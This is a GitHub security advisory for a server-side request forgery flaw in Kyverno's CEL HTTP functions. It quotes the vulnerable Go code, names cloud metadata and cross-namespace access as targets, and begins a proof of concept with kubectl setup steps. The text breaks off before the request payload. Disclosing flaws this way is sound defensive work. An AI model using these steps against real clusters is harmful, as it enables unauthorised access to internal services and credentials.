GitHub Security Advisory: GHSA-rggm-jjmc-3394
Package: github.com/kyverno/kyverno (GO)
Severity: HIGH (CVSS 8.5)
CWE: CWE-918: Server-Side Request Forgery (SSRF)
Vulnerable versions: >= 1.16.0, < 1.17.0
Patched in: 1.17.0

Summary: Kyverno has SSRF via CEL http.Get/http.Post in NamespacedValidatingPolicy allows cross-namespace data access

Details:
## Summary

A Server-Side Request Forgery (SSRF) vulnerability in Kyverno's CEL HTTP library (`pkg/cel/libs/http/`) allows users with namespace-scoped policy creation permissions to make arbitrary HTTP requests from the Kyverno admission controller. This enables unauthorized access to internal services in other namespaces, cloud metadata endpoints (169.254.169.254), and data exfiltration via policy error messages.

## Affected Versions

- Kyverno >= 1.16.0 (with `policies.kyverno.io` CRDs enabled, which is the default)
- Tested on: Kyverno v1.16.2 (Helm chart 3.6.2)

## Details

The `http.Get()` and `http.Post()` functions available in CEL-based policies (`policies.kyverno.io` API group) do not enforce any URL restrictions. Unlike `resource.Lib` which enforces namespace boundaries for namespaced policies, the `http.Lib` allows unrestricted access to any URL.

**Vulnerable Code:** `pkg/cel/libs/http/http.go`
```go
func (r *contextImpl) Get(url string, headers map[string]string) (any, error) {
    req, err := http.NewRequestWithContext(context.TODO(), "GET", url, nil)
    // NO URL VALIDATION - no blocklist, no namespace restrictions
    ...
}
```

**Contrast with resource.Lib** which enforces namespace:
```go
// pkg/cel/libs/resource/lib.go
func Lib(namespace string, v *version.Version) cel.EnvOption {
    return cel.Lib(&lib{namespace: namespace, version: v})  // Namespace enforced
}
```

This is a **different code path** from previously reported issues:
- GHSA-8p9x-46gm-qfx2: `pkg/engine/apicall/apiCall.go` (URLPath) - Fixed
- GHSA-459x-q9hg-4gpq: `pkg/engine/apicall/executor.go` (Service.URL) - Different feature (apiCall vs CEL http)
- **This issue**: `pkg/cel/libs/http/http.go` (CEL http.Get/http.Post) - **Not fixed**

## PoC

Tested on Kyverno v1.16.2 (Chart 3.6.2) on Kubernetes v1.35.0 (kind).

A complete automated PoC script is attached. Manual steps below:

### 1. Setup attacker with namespace-scoped permissions
```bash
kubectl create namespace attacker-ns
kubectl create serviceaccount namespace-admin -n attacker-ns

cat <<EOF | kubectl apply -f -
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
  name: namespace-admin-role
  namespace: attacker-ns
rules:
  - apiGroups: [""]
    resources: ["configmaps"]
    verbs: ["create", "get", "list"]
  - apiGroups: ["policies.kyverno.io"]
    resources: ["namespacedvalidatingpolicies"]
    verbs: ["create", "get", "list"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: namespace-admin-binding
  namespace: attacker-ns
subjects:
  - kind: ServiceAccount
    name: namespace-admin
    namespace: attacker-ns
roleRef:
  kind: Role
  name: namespace-admin-role
  apiGroup: rbac.authorization.k8s.io
EOF
```

### 2. Create sensitive internal service (simulating internal API or cloud metadata)
```bash
cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
  name: internal-api
  namespace: kube-system
  labels:
    app: internal-api
spec:
  containers: